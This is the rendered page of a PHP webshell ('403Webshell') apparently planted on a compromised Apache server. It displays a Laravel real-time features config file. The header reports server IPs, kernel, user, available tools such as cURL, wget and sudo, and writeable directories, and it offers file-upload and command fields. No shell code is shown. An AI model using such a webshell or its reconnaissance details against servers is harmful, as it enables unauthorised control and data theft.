403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/config/realtime.php
<?php

declare(strict_types=1);

return [
    /*
    |--------------------------------------------------------------------------
    | Real-time Features Configuration
    |--------------------------------------------------------------------------
    |
    | Configure which real-time features are enabled and their settings.
    |
    */

    /*
    |--------------------------------------------------------------------------
    | Feature Toggles
    |--------------------------------------------------------------------------
    */
    'features' => [
        'presence' => env('REALTIME_PRESENCE_ENABLED', true),
        'typing_indicators' => env('REALTIME_TYPING_ENABLED', true),
        'live_cursors' => env('REALTIME_CURSORS_ENABLED', true),
        'co_editing' => env('REALTIME_COEDITING_ENABLED', true),
        'offline_sync' => env('REALTIME_OFFLINE_ENABLED', true),
    ],

    /*
    |--------------------------------------------------------------------------
    | Presence Settings
    |--------------------------------------------------------------------------
    */
    'presence' => [
        'heartbeat_interval' => 30, // seconds
        'idle_timeout' => 300, // 5 minutes
        'away_timeout' => 900, // 15 minutes
        'cleanup_interval' => 60, // seconds
    ],

    /*
    |--------------------------------------------------------------------------
    | Cursor Tracking Settings
    |--------------------------------------------------------------------------
    */
    'cursors' => [
        'throttle_interval' => 50, // ms between position updates
        'cleanup_delay' => 5000, // ms before removing inactive cursors
        'colors' => [
            '#3B82F6', // Blue
            '#10B981', // Green
            '#F59E0B', // Amber
            '#EF4444', // Red
            '#8B5CF6', // Violet
            '#EC4899', // Pink
            '#06B6D4', // Cyan
            '#F97316', // Orange
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Co-editing Settings
    |--------------------------------------------------------------------------
    */
    'coediting' => [
        'max_concurrent_editors' => 10,
        'operation_batch_interval' => 100, // ms to batch operations
        'conflict_resolution' => 'last-write-wins', // or 'operational-transform'
        'version_history_limit' => 100,
        'auto_save_interval' => 5000, // ms
    ],

    /*
    |--------------------------------------------------------------------------
    | Offline Sync Settings
    |--------------------------------------------------------------------------
    */
    'offline' => [
        'enabled' => true,
        'storage_key' => 'offline_queue',
        'max_queue_size' => 1000,
        'sync_batch_size' => 50,
        'retry_intervals' => [1000, 2000, 5000, 10000, 30000], // ms
    ],

    /*
    |--------------------------------------------------------------------------
    | Channel Prefixes
    |--------------------------------------------------------------------------
    */
    'channels' => [
        'user' => 'user.',
        'project' => 'project.',
        'document' => 'document.',
        'presence' => 'presence-',
    ],

    /*
    |--------------------------------------------------------------------------
    | Event Names
    |--------------------------------------------------------------------------
    */
    'events' => [
        'cursor_move' => 'cursor-move',
        'cursor_leave' => 'cursor-leave',
        'operation' => 'operation',
        'sync' => 'sync',
        'presence_update' => 'presence-update',
    ],
];

Youez - 2016 - github.com/yon3zu
LinuXploit